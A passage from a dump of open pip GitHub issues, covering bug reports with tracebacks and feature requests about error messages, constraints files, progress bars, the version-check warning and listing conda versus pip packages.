758   File "/usr/local/lib/python3.8/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 1414, in has_metadata
759     return self._has(path)
760   File "/usr/local/lib/python3.8/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 1854, in _has
761     return zip_path in self.zipinfo or zip_path in self._index()
762   File "/usr/local/lib/python3.8/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 1731, in zipinfo
763     return self._zip_manifests.load(self.loader.archive)
764   File "/usr/local/lib/python3.8/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 1688, in load
765     mtime = os.stat(path).st_mtime
766 FileNotFoundError: [Errno 2] No such file or directory: '/usr/local/lib/python3.8/dist-packages/setuptools-47.3.1.post20200622-py3.8.egg'
```

user: KOLANICH
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8473: state: open
title: Improve SSL error message to instruct the user what to do
body: **What's the problem this feature will solve?**
I’ve seen quite a few issues on the tracker on the same error message:

```
WARNING: pip is configured with locations that require TLS/SSL,
however the ssl module in Python is not available.
```

They all have the same root cause: The `ssl` built-in module is not available, and pip cannot access HTTPS URLs without it. The warning is however not easy to understand for less experienced users, and they tend to report this as an issue (pypa/virtualenv#1139, #8171, #8472 to list a few. It is, however, a system configuration problem that pip cannot fix.

**Describe the solution you'd like**
Revise the error message to clearly say

1. This is not a pip bug.
2. Propose the solution to the most likely causes
    a. If the user is using a self-compiled Python, it needs to be recompiled.
    b. If the user is using pyenv, the system is missing build dependencies. [This wiki page lists instructions on common platforms.](https://github.com/pyenv/pyenv/wiki/Common-build-problems)
    c. If the Python is installed by Anaconda or a package manager (e.g. Homebrew), this is likely a runtime configuration issue.
4. Point to a documentation page that discusses the issue in detail, and provide more generic solutions if none of the specific instructions fit the user’s scenario.
5. Instruct the user to ask for help on pypa/packaging-problems.

**Alternative Solutions**
Do nothing, and continue marking the issues as duplicates. They are not *that* common, so the overhead isn’t that bad. Maybe it’s possible to have a bot responding to them as well.

**Additional context**
Some popular destinations if you search the issue description on the Internet. They list quite a few popular causes to this that can be helpful:

* [StackOverflow](https://stackoverflow.com/questions/45954528/pip-is-configured-with-locations-that-require-tls-ssl-however-the-ssl-module-in) (has diagnoses for Anaconda on Windows, Homebrew on macOS, and generic compiled-from-source scenarios)
* [AskUbuntu](https://askubuntu.com/questions/1164352/cannot-use-pip-ubuntu-pip-is-configured-with-locations-that-require-tls-ssl) (i.e. similar to the SO one, but Ubuntu-specific)
* [Unix/Linux](https://unix.stackexchange.com/questions/582868/warning-pip-is-configured-with-locations-that-require-tls-ssl-however-the-ssl) (describing a compiled-from-source scenario)
user: uranusjr
labels: type: enhancement: Improvements to functionality
UX: User experience related
C: error messages: Improving error messages
issue_8463: state: open
title: When reporting candidate location, handle cached wheels better
body: Can we use the original link w/ `(cached)` in the name in that case?

OK to do this in a follow up, if you file an issue to aggregate all the call sites that print `req.link`.

_Originally posted by @pradyunsg in https://github.com/pypa/pip/pull/8394_
user: pfmoore
labels: C: dependency resolution: About choosing which dependencies to install
C: error messages: Improving error messages
issue_8461: state: open
title: Impossible to unistall invalid package (with wrong entry point name)
body: **Environment**

* pip version: pip 20.1.1
* Python version: 3.6
* OS: MacOs

**Description**

I was experimenting with [entry_points](https://setuptools.readthedocs.io/en/latest/setuptools.html#dynamic-discovery-of-services-and-plugins) and released a test pip package with an invalid "entry-point" name: `epot-test`:

```
[tool.poetry.plugins."epot-test.test"]
"abc" = "epot_poetry_test.sub.other:SomeClass"
```

The `pip install` failed but pip is now in a bad state. Now it is impossible for me to uninstall the corrupted package.

**Expected behavior**
I would expect to be able to uninstall invalid packages.

**How to Reproduce**
```sh
pip install epot-poetry-test==0.2.0  # Install the corrupted package

# After the corrupted package is installed, it cannot be uninstalled or replaced:
pip uninstall epot-poetry-test  # Fail
pip epot-poetry-test --upgrade  # Fail
```

**Output**

```
epot-macbookpro% pip3 uninstall epot-poetry-test     
Found existing installation: epot-poetry-test 0.2.0
ERROR: Exception:
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2857, in get_entry_map
    ep_map = self._ep_map
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _ep_map

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_internal/cli/base_command.py", line 188, in _main
    status = self.run(options, args)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_internal/commands/uninstall.py", line 86, in run
    auto_confirm=options.yes, verbose=self.verbosity > 0,
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_internal/req/req_install.py", line 675, in uninstall
    uninstalled_pathset = UninstallPathSet.from_dist(dist)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_internal/req/req_uninstall.py", line 571, in from_dist
    console_scripts = dist.get_entry_map(group='console_scripts')
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2860, in get_entry_map
    self._get_metadata('entry_points.txt'), self
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2535, in parse_map
    maps[group] = cls.parse_group(group, lines, dist)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2510, in parse_group
    raise ValueError("Invalid group name", group)
ValueError: ('Invalid group name', 'epot-test.test')
```

user: Conchylicultor
labels: project: vendored dependency: Related to a vendored dependency
issue_8458: state: open
title: Remove self_outdated_check?
body: This issue relates to the following warning:

> WARNING: You are using pip version 20.1; however, version 20.1.1 is available.
> You should consider upgrading via the 'c:\tracking\ve-track\scripts\python.exe -m pip install --upgrade pip' command.

I read the [original rationale for this feature from 2013](https://github.com/pypa/pip/pull/1214):

> "The purpose of this message is simple, the more people on newer versions of pip the better while the world of packaging is improving as rapidly as it is. Ideally the goal would be to **remove this check once things have settled down a bit**."

I am wondering if now may be a good time to consider that.

Firstly, this code could be deleted:

https://github.com/pypa/pip/blob/master/src/pip/_internal/self_outdated_check.py
https://github.com/pypa/pip/blob/master/tests/unit/test_self_check_outdated.py

And a number of issues would be go away, for example see:

https://github.com/pypa/pip/issues/6443
https://github.com/pypa/pip/issues/5346
https://github.com/pypa/pip/issues/5420
https://github.com/pypa/pip/issues/6468

But more important is the user experience. This warning is shown to a huge number of people, and can be one of the first things they see when they get started with Python (e.g. if they are learning Python to use a specific package).

**Confusion**

I frequently see users thinking this is an error. For example: https://youtu.be/k8NXfeItBdw?t=295

For a new user who is already overwhelmed by getting started with Python, you may be surprised how much they can get sidetracked by this warning. Furthermore, many people don't know how to copy/paste from their terminal window, so they type character by character. When the provided command is something like

> 'c:\tracking\ve-track\scripts\python.exe -m pip install --upgrade pip'

They will likely get a typo, meaning they retype everything char by char.

This warning also obscures & distracts from actual errors. Here is a screenshot I got from a user who could not figure out why her installation was not working.

![image](https://user-images.githubusercontent.com/5423929/84931314-3330a400-b105-11ea-8cf7-062af9b5f403.png)

I don't blame them because for me the pip warning is the first thing my eye gets drawn to, especially because the wording is very direct ("you are", "you should"). I have also seen users who think that command will upgrade Python or all their pip-installed packages.

I know pip issues happen but is it often enough that all Python users need to be exposed to the warning by default, even if the pip command succeeded? There is a cost in distractions and "warning fatigue".

**First impression of Python**

For someone who is intimidated by beginning programming, dealing with messages like these can be discouraging. To build up people's confidence, it would be nice if the first impression of Python is that everything "just works".

It may also seem lame to a user that as soon as they install Python, they are immediately told to upgrade.

**Note about disable_pip_version_check**

Although this check can be disabled via the --disable-pip-version-check and setting disable_pip_version_check = 1 in pip.conf, I don't think that is an effective solution, because:

- The users who are most affected by this are the newbies who do not know about this flag.
- This is a small issue that affects a huge number of users. IMHO these settings & flags are good for the inverse situation (large annoyance that affects a small number of users). Even someone who dislikes the message will be unlikely to research whether it is possible to hide it. There is always something more urgent to work on. People live with it but I don't think that's ideal.
- For people who work on many different servers, this configuration needs to be done multiple times.
user: oTree-org
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_8454: state: open
title: Audit `pip` commands for duplication/overlap
body: Based on an early discussion with Pradyun, this was seen as a good idea to start with. The objective was to identify *if* there were improvements that could be made to pip command syntax and flags.
 
https://www.notion.so/simplysecure/Audit-pip-commands-for-overlap-and-duplication-GH-8a90ad3edcf24a7eaee5702bd939adee
user: ei8fdb
labels: UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_8453: state: open
title: Audit `pip` output.
body: (This ticket is work in progress)

Pradyun has provided the following output which should cover all output:
https://gist.github.com/pradyunsg/d76a2c4dfe3147b4ebc3aed9b1ce785e

user: ei8fdb
labels: UX: User experience related
UX: future work: UX / research work that the pip team would benefit from doing
issue_8439: state: open
title: Respect top-level "constraints" file when populating isolated build environments
body: **Environment**

* pip version: 20.1.1
* Python version: 3.8.2
* OS: Linux

<!-- Feel free to add more information about your environment here -->

`pip freeze` output:
```
attrs==19.3.0
certifi==2020.4.5.2
chardet==3.0.4
docutils==0.16
flit==2.3.0
flit-core==2.3.0
idna==2.9
punq==0.4.1
pytoml==0.1.21
requests==2.23.0
urllib3==1.25.9
```

**Description**
<!-- A clear and concise description of what the bug is. -->

Installing a package using a PEP 517 backend with build isolation enabled results in an `install_requirements` call using the return value of `backend.get_requires_for_build_wheel()`, which generates and runs a `pip install` command. Constraints files passed to the outermost `pip install` command are not reflected in the generated command.

This means that, at least when using flit, a local install with build isolation will fail if it's relying on a constraints file to specify paths to dependencies that are only available locally.

(The other build backends I checked don't require the runtime requirements in the isolated environment. I brought this up in the flit repo first in https://github.com/takluyver/flit/issues/354)

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

Given two projects, a dependency and a dependent, with the dependent using flit, and the dependency not present in an index, the command `pip install -c path/to/constraints.txt path/to/dependent`, where the constraints file has a line like `name-of-dependency @ file:///absolute/path/to/dependency` should succeed.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Create a "dependency" project with a name not present in pypi
2. Create a "dependent" project that depends on the dependency, using flit
3. Create a `constraints.txt` file that at least contains a direct reference linking the name of the dependency to its absolute path
4 Run `pip install -c constraints.txt ./dependent`, assuming the constraints file and the project directories are next to each other

**Output**

```
$ ls
constraints.txt  dependency_bleh  dependent
$ cat constraints.txt 
dependency_bleh @ file:///absolute/path/of/pwd/dependency_bleh
dependent @ file:///absolute/path/of/pwd/dependent
$ pip install -c constraints.txt  ./dependent
Processing ./dependent
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Installing backend dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: <venv>/bin/python3.8 <venv>/lib/python3.8/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-67rnvdf5/normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- dependency_bleh
       cwd: None
  Complete output (2 lines):
  ERROR: Could not find a version that satisfies the requirement dependency_bleh (from versions: none)
  ERROR: No matching distribution found for dependency_bleh
  ----------------------------------------
ERROR: Command errored out with exit status 1: <venv>/bin/python3.8 <venv>/lib/python3.8/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-67rnvdf5/normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- dependency_bleh Check the logs for full command output.
```

user: mwchase
labels: C: PEP 517 impact: Affected by PEP 517 processing
issue_8438: state: open
title: Assertion Error:  assert not (home and prefix)
body: **Environment**

* pip version: 20.1.1
* Python version:  3.8.3
* OS: Windows 10

PIP_CACHE_DIR = D:\Environments\Python\pip cache dir
PIP_TARGET = D:\Environments\Python\Lib\site-packages

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
A weird error when I tried to install pyinstaller


**Expected behavior**
install normally
<!-- A clear and concise description of what you expected to happen. -->

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->
`pip install pyinstaller`

**Output**
```
Collecting pyinstaller
  Using cached PyInstaller-3.6.tar.gz (3.5 MB)
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 2:
   command: 'd:\environments\python\python.exe' 'd:\environments\python\lib\site-packages\pip' install --ignore-installed --no-user --prefix 'D:\Environments\TEMP\pip-build-env-siqaoa6a\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=40.8.0' wheel
       cwd: None
  Complete output (22 lines):
  Collecting setuptools>=40.8.0
    Using cached setuptools-47.1.1-py3-none-any.whl (583 kB)
  Collecting wheel
    Using cached wheel-0.34.2-py2.py3-none-any.whl (26 kB)
  Installing collected packages: setuptools, wheel
  ERROR: Exception:
  Traceback (most recent call last):
    File "d:\environments\python\lib\site-packages\pip\_internal\cli\base_command.py", line 188, in _main
      status = self.run(options, args)
    File "d:\environments\python\lib\site-packages\pip\_internal\cli\req_command.py", line 185, in wrapper
      return func(self, options, args)
    File "d:\environments\python\lib\site-packages\pip\_internal\commands\install.py", line 398, in run
      installed = install_given_reqs(
    File "d:\environments\python\lib\site-packages\pip\_internal\req\__init__.py", line 67, in install_given_reqs
      requirement.install(
    File "d:\environments\python\lib\site-packages\pip\_internal\req\req_install.py", line 769, in install
      scheme = get_scheme(
    File "d:\environments\python\lib\site-packages\pip\_internal\locations.py", line 185, in get_scheme
      scheme = distutils_scheme(
    File "d:\environments\python\lib\site-packages\pip\_internal\locations.py", line 118, in distutils_scheme
      assert not (home and prefix), "home={} prefix={}".format(home, prefix)
  AssertionError: home=D:\Environments\TEMP\pip-target-wydanjze prefix=D:\Environments\TEMP\pip-build-env-siqaoa6a\overlay
  ----------------------------------------
ERROR: Command errored out with exit status 2: 'd:\environments\python\python.exe' 'd:\environments\python\lib\site-packages\pip' install --ignore-installed --no-user --prefix 'D:\Environments\TEMP\pip-build-env-siqaoa6a\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=40.8.0' wheel Check the logs for full command output.
```

user: weilueluo
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8432: state: open
title: Add tests for `--platform` with pip's new resolver
body: **Environment**

* pip version: master
* Python version: any
* OS: any

**Description**

We want to add tests, for `--platform`'s behavior with the new resolver (see https://github.com/pypa/pip/pull/8349#issuecomment-640225989 for details on why this is needed).

The cases, as mentioned by @uranusjr (omitting the `--unstable-feature=resolver`), which will be needed in the actual tests, are:

```shell
# Install a wheel from a direct URL with non-host platform.
pip install --platform=fakeplat /wheelhouse/foo-1.0-py3-none-fakeplat.whl

# Install a wheel from a find-links page with non-host platform.
pip install --platform=fakeplat --find-links=./path/to/wheelhouse foo==1.0

# Install a wheel into a target directory from a direct URL with non-host platform.
pip install --platform=fakeplat --target=./target path/to/wheelhouse/foo-1.0-py3-none-fakeplat.whl

# Install a wheel into a target directory from a find-links page with non-host platform.
pip install --platform=fakeplat --target=./target --find-links=./path/to/wheelhouse foo==1.0
```

Also relevant is @pfmoore's note that:

> we'd have to skip for the old resolver - presumably using something like
> 
> ```python
> if not use_new_resolver:
>     pytest.xfail("Old resolver is broken")
> ```

user: pradyunsg
labels: C: tests: Testing and related things
state: awaiting PR: Feature discussed, PR is needed
issue_8431: state: open
title: Option to force the progress bar
body: **What's the problem this feature will solve?**
As described [here](https://stackoverflow.com/questions/51643451/python-pip-forcing-the-progress-bar), pip seems to automatically detect when its output is not going to a TTY, in which case it disables the progress bar during downloads. It would be nice to have an option to force the progress bar anyway.
This is a desirable feature when using pip from within scripts which want to log the output while still showing the progress bar.

Examples:
```bash
pip download --no-cache-dir                   scipy            # ✅ progress bar
pip download --no-cache-dir --progress-bar=on scipy            # ✅ progress bar
pip download --no-cache-dir                   scipy | tee log  # ❌ progress bar
pip download --no-cache-dir --progress-bar=on scipy | tee log  # ❌ progress bar
```
(remember to remove the downloads after running each command).



**Describe the solution you'd like**
Taking inspiration from [wget](https://www.gnu.org/software/wget/manual/wget.html) (where the exact same situation arise), one could allow for an additional suffix `:force` on the values of the [`--progress-bar`](https://pip.pypa.io/en/stable/reference/pip_download/#cmdoption-progress-bar) option (currently `off|on|ascii|pretty|emoji`).
To force the progress bar in the previous example would then look like:
```bash
pip download --no-cache-dir --progress-bar=on:force scipy | tee log
```



**Alternative Solutions**
If adding functionality to the existing `--progress-bar` option is considered bad, one can always invent a whole new option, e.g.
```bash
pip download --no-cache-dir --force-progress-bar scipy | tee log
```

user: jmd-dk
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_8422: state: open
title: Empty and missing environment variables in requirements.txt are not substituted
body: **Environment**

* pip version: 20.1.1
* Python version: 3.7.7
* OS: Ubuntu 18.04

**Description**

Consider you want to install TensorFlow package that comes with 3 variants:
- `tensorflow`
- `tensorflow-gpu`
- `tensorflow-cpu`

Depending on the environment, you want to install either CPU or GPU variant, or the main package by default. So you can add a line in `requirements.txt` like `tensorflow${TF_VARIANT}` and it works great if `TF_VARIANT` is defined and not empty.

However, when the variable is undefined or empty, I get the following error:
```
ERROR: Invalid requirement: 'tensorflow${TF_VARIANT}' (from line 1 of requirements.txt)
```

**Expected behavior**

An empty or missing variable should be substituted with an empty string.

user: adampl
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_8419: state: open
title: Pip's interpretation of PEP-0508 is not intuitive when a full version is passed to python_version.
body: When major.minor.patch versions are passed to `python_version` requirements specification (see https://www.python.org/dev/peps/pep-0508/), `pip` behavior is not intuitive:

```
docker -- run -it  --entrypoint /bin/bash python:3.5-slim-stretch
root@bcd3693fbfa1:/# python --version
Python 3.5.9

# installation does not happen even though  3.5.9 > 3.5.3
root@2108678766fc:/# pip install 'typing; python_version > "3.5.3"'                       
Ignoring typing: markers 'python_version > "3.5.3"' don't match your environment 

# installation happens even though  3.5.9 > 3.5.3
root@bcd3693fbfa1:/#  pip install 'typing; python_version < "3.5.3"'                        
Collecting typing
  Downloading typing-3.7.4.1-py3-none-any.whl (25 kB)
Installing collected packages: typing
Successfully installed typing-3.7.4.1
```
Correct usage seems for this scenario would be for user to pass `python_full_version` instead of `python_version`.

However, from a usability point of view, it would be better if pip alerted the user about incorrect usage of python_version rather than proceeding with  unspecified(?) behavior that seems to do the opposite from a user's intent.
user: tvalentyn
labels: project: vendored dependency: Related to a vendored dependency
resolution: wrong project: Should be reported elsewhere
issue_8416: state: open
title: Unexpected behavior with -r references inside -c references
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
Our company is using pip requirements files to manage dependencies in a relatively complex codebase with lots of deployment configurations. We currently use -r constraints to manage a tree of files for this purpose, but are having difficulties using -c constraints in this system. 

As an example with three files:
```
# base.txt
package1==1.0.0
```
```
# dev.txt
-r base.txt
package2==2.0.0
package3==3.0.0
```
```
# deploy.txt
-c dev.txt
package3
```

The expected behavior of `pip install -r deploy.txt` would be to install only package3. Today, it instead installs both package1 and package3.

This happens because the `-r base.txt` line, even when found inside a "constraint" file, causes pip to install all packages in the referenced file, even if they were not referenced in the top-level file.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

When processing a constraint file specified with `-c`, pip should treat any `-r` references inside it as if they were actually just soft constraints. This clarifies the semantics of `-c` to treat the entire referenced tree as being a constraint, without allowing its contents to self-promote into "hard" references.

Effectively, this makes the `-r` reference mean "embed the contents of this other file into the current context".

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

Fixing this behavior would allow us to create a large number of different "deploy" configurations that only contain the precisely needed dependencies for deploying the particular service they reference, while ensuring that the versions of those dependencies match each other, and match the version in our development environment.

More generally, for large projects using pip that want to maintain a set of interrelated dependency lists, this allows those projects to decrease the amount of duplication needed in specifying pinned versions, even when the installed packages don't fit into a strict tree structure.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

1. Flattening the version specifiers
By putting all of our version constraints in a single file, we could safely reference it with `-c` without accidentally installing things. This ends up being a huge file, and even with tooling to manage it, quickly gets unwieldy. It is nice to be able to use a `-r` tree to specify the parts of the dependency graph that are tree-like.

2. Constructing a temporary file hierarchy
Without native pip support, we could copy our files into a separate directory, replace `-r` with `-c` as necessary, then run `pip` on those files. That's a mess, and detracts from the simplicity of `pip install -r requirements.txt`

3. External tooling
We already use `pip-compile-multi` in our repository, and could fork that project to create "flattened" requirements files for each level of the tree, so we can use `-c` directly against that compiled flat file. This would mean that any version change would show up many places in the diff, making reviews more difficult.


user: HALtheWise
labels: C: constraint: Dealing with "constraints" (the -c option)
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
C: requirement file: Using `requirements.txt`
issue_8415: state: open
title: New feature suggested in "pip list": option to differentiate packages installed by pip and conda.
body: I am using Anaconda, some packages installed by conda, but some other avalable only from "pip install".  I have problem with packages updates, since Anaconda packages should be updated with conda and pip packages should be updated respectively with pip (normally).

Updating of conda packages can be done properly using "conda update --all", but "pip list outdated" reports all outdated packages, including just updated conda ones. Problem is that some packages can be installed in both ways and ones from pip are oftenly newer, since Anaconda doing prpagation with some delay. Normally it is better to use slightly older conda-installed packages with conda, but pip-only packages have to be updated and I want to see who did install package originally.
There is optional column "Installer" in "pip list format=columns -verbose" with pip/conda values inside, but experiments shows this information is useless for me. It may just indicate that package
uses metadata in "*dist-info" folder format and it is true for many conda-installed packages.

Solution: I need additional column with additional information.
My new suggested output format can be enabled using new option "format=columnsx".
Pay attention to new column "Owner" with "Anaconda"/"ThePip" values.
You can also see that column "Installer" is useless, while new "Owner" is more useful...


<details>

```
Act: d:\InstSoft\Python\Conda3x64\Scripts\activate.bat 
Run: d:\InstSoft\Python\Conda3x64\Python.exe
Arg: -m pip list --format=columnsx
Package                              Version             Installer Owner   
------------------------------------ ------------------- --------- --------
adal                                 1.2.4               pip       ThePip  
alabaster                            0.7.12              pip       Anaconda
anaconda-client                      1.7.2                         Anaconda
anaconda-navigator                   1.9.12                        Anaconda
anaconda-project                     0.8.3               conda     Anaconda
ansiwrap                             0.8.4               pip       ThePip  
appdirs                              1.4.3                         Anaconda
applicationinsights                  0.11.9              pip       ThePip  
argh                                 0.26.2                        Anaconda
asn1crypto                           1.3.0               pip       Anaconda
astroid                              2.4.1               pip       Anaconda
astropy                              4.0.1.post1                   Anaconda
async-generator                      1.10                pip       ThePip  
atomicwrites                         1.4.0               conda     Anaconda
attrs                                19.3.0              conda     Anaconda
augment-nd                           0.1.1               pip       ThePip  
autopep8                             1.4.4               pip       Anaconda
azure-common                         1.1.25              pip       ThePip  
azure-core                           1.6.0               pip       ThePip  
azure-graphrbac                      0.61.1              pip       ThePip  
azure-identity                       1.3.1               pip       ThePip  
azure-mgmt-authorization             0.60.0              pip       ThePip  
azure-mgmt-containerregistry         2.8.0               pip       ThePip  
azure-mgmt-keyvault                  2.2.0               pip       ThePip  
azure-mgmt-network                   10.2.0              pip       ThePip  
azure-mgmt-resource                  10.0.0              pip       ThePip  
azure-mgmt-storage                   10.0.0              pip       ThePip  
azureml                              0.2.7               pip       ThePip  
azureml-automl-core                  1.6.0               pip       ThePip  
azureml-automl-runtime               1.6.0.post1         pip       ThePip  
azureml-contrib-notebook             1.6.0               pip       ThePip  
azureml-core                         1.6.0.post1         pip       ThePip  
azureml-dataprep                     1.7.0               pip       ThePip  
azureml-dataprep-native              14.2.0              pip       ThePip  
azureml-defaults                     1.6.0               pip       ThePip  
azureml-explain-model                1.6.0               pip       ThePip  
azureml-interpret                    1.6.0               pip       ThePip  
azureml-model-management-sdk         1.0.1b6.post1       pip       ThePip  
azureml-pipeline                     1.6.0               pip       ThePip  
azureml-pipeline-core                1.6.0               pip       ThePip  
azureml-pipeline-steps               1.6.0               pip       ThePip  
azureml-sdk                          1.6.0               pip       ThePip  
azureml-telemetry                    1.6.0               pip       ThePip  
azureml-train                        1.6.0               pip       ThePip  
azureml-train-automl                 1.6.0               pip       ThePip  
azureml-train-automl-client          1.6.0.post1         pip       ThePip  
azureml-train-automl-runtime         1.6.0               pip       ThePip  
azureml-train-core                   1.6.0.post1         pip       ThePip  
azureml-train-restclients-hyperdrive 1.6.0               pip       ThePip  
azureml-widgets                      1.6.0               pip       ThePip  
Babel                                2.8.0               conda     Anaconda
backcall                             0.1.0               pip       Anaconda
backports.functools-lru-cache        1.6.1               conda     Anaconda
backports.shutil-get-terminal-size   1.0.0               pip       Anaconda
backports.tempfile                   1.0                 pip       Anaconda
backports.weakref                    1.0.post1                     Anaconda
bcrypt                               3.1.7               conda     Anaconda
beautifulsoup4                       4.9.1               pip       Anaconda
bitarray                             1.2.1               pip       Anaconda
bkcharts                             0.2                           Anaconda
black                                19.10b0             conda     Anaconda
bleach                               3.1.4               conda     Anaconda
blinker                              1.4                           Anaconda
bokeh                                2.0.2               pip       Anaconda
boto                                 2.49.0                        Anaconda
boto3                                1.9.66                        Anaconda
botocore                             1.12.189            conda     Anaconda
Bottleneck                           1.3.2               pip       Anaconda
cachetools                           3.1.1               conda     Anaconda
certifi                              2020.4.5.1                    Anaconda
cffi                                 1.14.0              pip       Anaconda
chardet                              3.0.4               conda     Anaconda
click                                7.1.2               conda     Anaconda
cloudpickle                          1.4.1               conda     Anaconda
clyent                               1.2.2                         Anaconda
colorama                             0.4.3               conda     Anaconda
comtypes                             1.1.7                         Anaconda
conda                                4.8.3                         Anaconda
conda-build                          3.18.11                       Anaconda
conda-package-handling               1.7.0               conda     Anaconda
conda-verify                         3.4.2               conda     Anaconda
configparser                         5.0.0               conda     Anaconda
contextlib2                          0.6.0.post1         conda     Anaconda
coverage                             5.0                           Anaconda
cryptography                         2.9.2               pip       Anaconda
cycler                               0.10.0                        Anaconda
Cython                               0.29.17             pip       Anaconda
cytoolz                              0.10.1                        Anaconda
dask                                 2.17.2              conda     Anaconda
decorator                            4.4.2               conda     Anaconda
defusedxml                           0.6.0                         Anaconda
diff-match-patch                     20181111            conda     Anaconda
dill                                 0.3.1.1             conda     Anaconda
distributed                          2.17.0              pip       Anaconda
distro                               1.5.0               pip       ThePip  
docker                               4.2.1               pip       ThePip  
docutils                             0.16                pip       Anaconda
dotnetcore2                          2.1.14              pip       ThePip  
entrypoints                          0.3                           Anaconda
ephem                                3.7.7.1             pip       ThePip  
et-xmlfile                           1.0.1                         Anaconda
fastcache                            1.1.0               pip       Anaconda
ffmpeg                               1.4                 pip       ThePip  
filelock                             3.0.12              pip       Anaconda
fire                                 0.3.1               pip       ThePip  
flake8                               3.7.9               conda     Anaconda
Flask                                1.1.2               pip       Anaconda
fsspec                               0.7.4               conda     Anaconda
fusepy                               3.0.1               pip       ThePip  
future                               0.18.2              conda     Anaconda
gensim                               3.8.0               pip       Anaconda


```
</details>

This new option is most useful with "pip list --outdated". In the example below
it shows: all outdated items are from conda and pip update is not needed.

<details>

```
Act: d:\InstSoft\Python\Conda3x64\condabin\conda.bat activate
Run: d:\InstSoft\Python\Conda3x64\Python.exe 
Arg: -m pip list --outdated --format=columnsx
Package                  Version           Latest     Type  Installer Owner   
------------------------ ----------------- ---------- ----- --------- --------
appdirs                  1.4.3             1.4.4      wheel           Anaconda
astroid                  2.4.1             2.4.2      wheel pip       Anaconda
autopep8                 1.4.4             1.5.3      sdist pip       Anaconda
bitarray                 1.2.1             1.2.2      sdist pip       Anaconda
bleach                   3.1.4             3.1.5      wheel conda     Anaconda
boto3                    1.9.66            1.13.24    wheel           Anaconda
botocore                 1.12.189          1.16.24    wheel conda     Anaconda
cachetools               3.1.1             4.1.0      wheel conda     Anaconda
certifi                  2020.4.5.1        2020.4.5.2 wheel           Anaconda
coverage                 5.0               5.1        wheel           Anaconda
Cython                   0.29.17           0.29.19    wheel pip       Anaconda
dask                     2.17.2            2.18.0     wheel conda     Anaconda
distributed              2.17.0            2.18.0     wheel pip       Anaconda
flake8                   3.7.9             3.8.2      wheel conda     Anaconda
gensim                   3.8.0             3.8.3      wheel pip       Anaconda
gevent                   1.4.0             20.6.0     wheel           Anaconda
google-api-core          1.17.0            1.19.1     wheel pip       Anaconda
google-auth              1.14.1            1.16.1     wheel conda     Anaconda
google-cloud-storage     1.28.0            1.28.1     wheel conda     Anaconda
google-resumable-media   0.5.0             0.5.1      wheel conda     Anaconda
googleapis-common-protos 1.51.0            1.52.0     wheel pip       Anaconda
greenlet                 0.4.15            0.4.16     wheel pip       Anaconda
hypothesis               5.11.0            5.16.0     wheel conda     Anaconda
importlib-metadata       1.6.0             1.6.1      wheel pip       Anaconda
ipykernel                5.1.4             5.3.0      wheel pip       Anaconda
ipython                  7.13.0            7.15.0     wheel pip       Anaconda
jedi                     0.15.2            0.17.0     wheel pip       Anaconda
jmespath                 0.9.4             0.10.0     wheel pip       Anaconda
json5                    0.9.4             0.9.5      wheel conda     Anaconda
jupyterlab               1.2.6             2.1.4      wheel           Anaconda
jupyterlab-server        1.1.4             1.1.5      wheel conda     Anaconda
keyring                  21.1.1            21.2.1     wheel pip       Anaconda
lazy-object-proxy        1.4.3             1.5.0      wheel conda     Anaconda
lightgbm                 2.3.0             2.3.1      wheel pip       Anaconda
lxml                     4.5.0             4.5.1      wheel pip       Anaconda
matplotlib               3.1.3             3.2.1      wheel pip       Anaconda
nltk                     3.4.5             3.5        sdist pip       Anaconda
numpy                    1.18.1            1.18.5     wheel           Anaconda
numpydoc                 0.9.2             1.0.0      wheel conda     Anaconda
packaging                20.3              20.4       wheel conda     Anaconda
pandas                   1.0.3             1.0.4      wheel pip       Anaconda
